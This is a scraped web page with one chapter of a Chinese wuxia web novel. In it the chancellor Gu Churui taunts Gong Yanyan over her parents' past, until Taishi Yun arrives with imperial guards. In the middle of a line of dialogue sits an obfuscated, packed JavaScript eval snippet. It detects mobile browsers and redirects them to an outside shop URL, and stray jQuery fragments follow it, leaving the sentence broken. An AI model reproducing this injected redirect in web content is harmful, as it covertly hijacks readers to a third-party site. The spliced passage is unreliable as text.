默认冷灰
24号文字
方正启体

60. 二十三·宫氏往事

作者:古树思金光本书字数:K更新时间:
    顾初蕊看着宫晏晏的样子,很享受。


    宫晏晏没有立即出手。


    顾初蕊知道,他赢定了,他没有一分一毫输给宫晏晏的机会,无论经验、内力、招式,他都胜过宫晏晏太多。


    可他却一定要提供一个公平的机会,而且一定要宫晏晏感到公平,将欲取之,必先予之,先将希望拱手奉上,将这唯一的烛光递上,再引风摧之,这种快乐是他为数不多的欢愉,可以将他麻木的感官唤醒。


    宫晏晏的动作虽然迟滞,可是目光还是坚毅的,手上的剑还是随时欲发的,仿佛没想过会输,没想过输后程梳尘会怎么样、她会怎么样,从没想过会死。


    若只是击败这样一个小姑娘,于他而言犹如踩死一只蚂蚁,犹如吃早餐,甚至早餐的稀粥未配花生,他不仅一定要配花生,还要配卤牛肉,不然便是浪费,他从来不浪费。


    所以他要加码,他看着宫晏晏手中的剑,道:“这是万剑山庄的剑,却是一把无名的剑。”


    宫晏晏道:“你也懂剑?”


    顾初蕊道:“万剑山庄藏剑无数,可是真正的传人向来只用最普通的,因为这些人毕生都在追求一种境界。”


    宫晏晏沉默。


    无剑。


    传说真正的剑术高手,根本无需用剑,一草一木,皆可作剑。


    这道理她听她母亲讲过,只觉得啰里啰嗦。


    顾初蕊道:“这个道理,其实与用兵是一样的。兵无常势,水无常形。夫为剑者,示之以虚,开之以利,后之以发,先之以至。”


    宫晏晏觉得顾初蕊比她母亲啰嗦。


    喂鸡的也忍不住道:“顾相,夜长梦多,你别跟他们废话了,快送他们去见阎王!”


    顾初蕊却很满意,他一定要将佐料下足,才能品菜,他接着道:“你娘将这些道理奉为皋臬,她聪颖好学,想必很快便参透了。只可惜她在剑上的天分不够,始终成不了绝世的高手。”


    宫晏晏怔了怔,道:“你认得我娘?”


    顾初蕊叹道:“万剑山庄的庄主,谁人不知?当年她跟你一样的自信,一人一马便从扬州冲进洛阳,要为白地王爷讨个说法。”


    宫晏晏咽了口唾沫,这事她怎么从没听家里人讲过?她缓缓道:“她去见皇帝了?”


    “没有。”顾初蕊道,“她见的人是我。”


    宫晏晏道:“见你?”


    顾初蕊道:“因为当年将你爹削去姓氏,贬到扬州的妙计,也是本相出的。”


    宫晏晏握剑的手握得更紧,她咬牙道:“也是你出的?”


    顾初蕊背着手,叹道:“当年天下初定,王爷功高震主啊。陛下待他已是顶格的好了,再加封赏,又有何可赏的呢?放在身边,总是祸患。不若明贬暗赏,贬到扬州。”


    宫晏晏厉声道:“那又为何削去姓氏,去兵除爵,起文极尽谩骂?”


    顾初蕊道:“若还与陛下同姓,祸患仍在。有心怀鬼胎之士,可以他为旗帜,再建朝廷。而今扬州路远,他手无兵权,又无封地,除非陛下授意,不然一生再无起势的机会了。”


    宫晏晏沉声道:“那赏在哪?何谓明贬暗赏?”


    顾初蕊悠悠道:“扬州是个好地方,恐怕不比洛阳差吧。赏他一条命安享晚年,是多少人一辈子想要都修不到的福分?须知伴君如伴虎,若不是本相慈悲,他现在怎有和万剑山庄庄主的小日子过?”


    宫晏晏叹道:“那你还真是慈悲为怀。”


    “再看看你,若不是我将王爷贬到扬州,你能有现在的日子过吗?”顾初蕊道,“长在洛阳,品貌出众,王爷之女,父亲是陛下最忌惮的王爷。唉,以我朝之形式,多半是养在深闺人未识,一朝塞外吹寒笛。”


    宫晏晏挑眉道:“什么意思?”


    程梳尘小声道:“和亲。”


    顾初蕊道:“现在你却可以鲜衣怒马少年时,可以银鞍白马度春风,一日看尽长安花了。可以走江湖,可以当大侠,居然还能养程梳尘这样的面首,你说,我对你好不好?”


    “叫你这么说……”宫晏晏道,“我岂不是还应该谢谢你?”


    顾初蕊叹道:“你当然应该。你应该好好谢谢我。可惜你娘不明白这个道理,竟然绕过我府上三道哨卡、五名看守、四道机关,闯到我卧室来跟我斗剑。”


    宫晏晏道:“后来呢?”


    顾初蕊道:“本相略胜一筹。虽然让她跑了,可我相信,她已输得太惨。自那天起,江湖上便再也没有万剑山庄庄主的消息了。她一定已失了心气,用剑之人,若挫了锐气,剑便没有了锋芒。”


    “自那天起,我就撤去了所有机关和哨卡,因为再也没有一个真正的高手敢来了。”他顿了顿,冷笑道,“而今天,你连跑都跑不了,你能做的,只是死在这里。想报仇,恐怕是痴人说梦。”


    他盯着宫晏晏的脸,宫晏晏一定想给她的爹娘报仇。仇人就在她面前,她一定已把握不住理智和情绪,可他又准备好了她的终章,真是太妙了,他搓着手,像搓着面团。


    天更沉了,将雨不雨,所有眼睛都放在宫晏晏脸上,放在宫晏晏的眼睛上,这一丛云会是乌云吗?会下雨吗?下小雨还是暴雨?


    程梳尘不禁喊道:“大小姐,他在激你……”


    宫晏晏看向程梳尘,道,“说实话,我还挺高兴的。”


    程梳尘忍不住道:“你高兴?”


    宫晏晏道:“因为他告诉了我很多我原本不知道的事情。”


    程梳尘道:“的确。可是,他说他伤了宫庄主,令她在江湖上销声匿迹……”


    宫晏晏道:“跟你在江湖上走了这么多天,我也渐渐明白了一个道理。”


    程梳尘道:“什么道理?”


    宫晏晏道:“一个人在江湖上的消息若太多,恐怕不见得是件好事。”


    听到宫晏晏说出这种话本一般老气横秋的话来,程梳尘还是不太适应,可他还是很有默契地接道:“比如呢?”


    宫晏晏道:“你想想,咱们一路过来,听到谁的消息最多?”


    程梳尘看向顾初蕊,道:“难道是他?”


    宫晏晏道:“对极了,大家都怎么说他?”


    顾初蕊的脸色更沉下来。


    “大家都说他是奸相。”宫晏晏道,“我爹娘在万剑山庄没有一日不是快快乐乐的。他们从来没有讲过顾初蕊说的这些事,只因他们有自己的好日子过。可顾初蕊好像忘不了这些事,过了几十年,竟还将细节讲得清楚。”


    程梳尘长叹道:“看来还是顾相更辛苦一些。”


    顾初蕊的眼角止不住的抽动,他早已能自如地控制自己的身体和情绪,可是……


    “更何况,就像他说的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818095|186446||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”宫晏晏将程梳尘拉起来,笑道,“我现在是春风得意的大侠,还能养程梳尘这样的面首,若我还不满意,岂不成了傻子、白痴?”


    程梳尘看着宫晏晏的表情,她笑得不似平时那般自然,他思索片刻,转向顾初蕊,低着头小声道:“多谢顾相成人之美,面首也挺满意的。”


    顾初蕊忍不了了。


    失去理智的居然是他,他一个闪身,已从树梢折了一条梅枝,转瞬之间便黏上了宫晏晏的剑,他冷冷道:“本相过目不忘,所有剑法,看过一遍就再忘不了。让本相来指教你万剑山庄的剑法!”


    不过三招,宫晏晏竟已感到吃力,烟霞点染剑、太虚步,在顾初蕊的身上竟都有数倍的威力,他招式记得不熟,盛怒之下,甚至已比平时散乱而无章了,可举手投足,都是扒皮抽筋般的老辣!


    顾初蕊冷笑道:“那个什么幽微三式,你娘领悟了两式,不知你领悟了多少?”


    他的姿势忽然一变,竟闪电间连用了两式,宫晏晏以立江河反击,可吃力更甚,全身经络,都似针扎般痛楚。可她不怕,她不能败,她要坚持下去,再坚持一会儿……


    突然,院口喧闹不已,那门童竟喊道:“顾相,我拦不住他……”


    顾初蕊停下手中梅枝,冷冷看着门口。


    太史云竟缓缓走了进来。


    顾初蕊冷冷道:“阿云?你来干什么?”


    太史云行礼道:“陛下请顾相移步。”


    顾初蕊淡淡道:“方才我们讲的话,你也听到了?”


    太史云点点头。


    顾初蕊道:“良禽择木而栖,阿云是不是良禽?”


    太史云道:“我是笨鸟,只知在其位、谋其职。既然是陛下的人,就做陛下要我做的事。”


    顾初蕊点点头,叹道:“知道了。”


    突然,浇花的、修草的、喂鸡的,竟都以一种很奇怪的目光看着太史云,像看着死人!


    太史云猛地嗅到了死亡的味道,他想拔刀,可这柄北地刀刚刚拔出七寸时,他的腕子就被一把喂鸡米打沉了,一壶水浇到了他面前,片刻的目盲,一柄剪刀就已经按在了他咽喉,他用尽浑身的力气大喝一声:“请等一等!”


    顾初蕊冷冷道:“你说。”


    太史云道:“几位不妨先看看四周。”


    顾初蕊的瞳孔收缩,人,好多人,铠甲齐备的禁卫,太史云身后,列队进来的,少说有上百个禁卫!


    喂鸡的向墙上看,墙头趴着几十个弓箭手,刚露出头。


    浇水的往后门看,后门堵得水泄不通。


    修草的往窗户看,院子里所有的窗户都架了个连弩。


    太史云道:“陛下的禁卫,我调来了二百七十九人。他说也不用多说什么,就请顾相移步。”


    顾初蕊盯着宫晏晏和程梳尘:“你们与本相啰里啰嗦,居然是为了拖住我们,令太史云调兵……”


    程梳尘看着宫晏晏,宫晏晏别过脸,掩不住两行清泪的决堤,无声的泪,她也是人,不是铁打的,听顾初蕊那般扭曲折磨的话,怎能不难过?


    可她不能输。


    她相信自己不会输。


    若是她在此刻倒下,还有谁能听得到百灵的声音,听得到大家的声音?


    顾初蕊看着满园秋色,秋色被煞风景的刀柄窃占了,他长叹一声。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)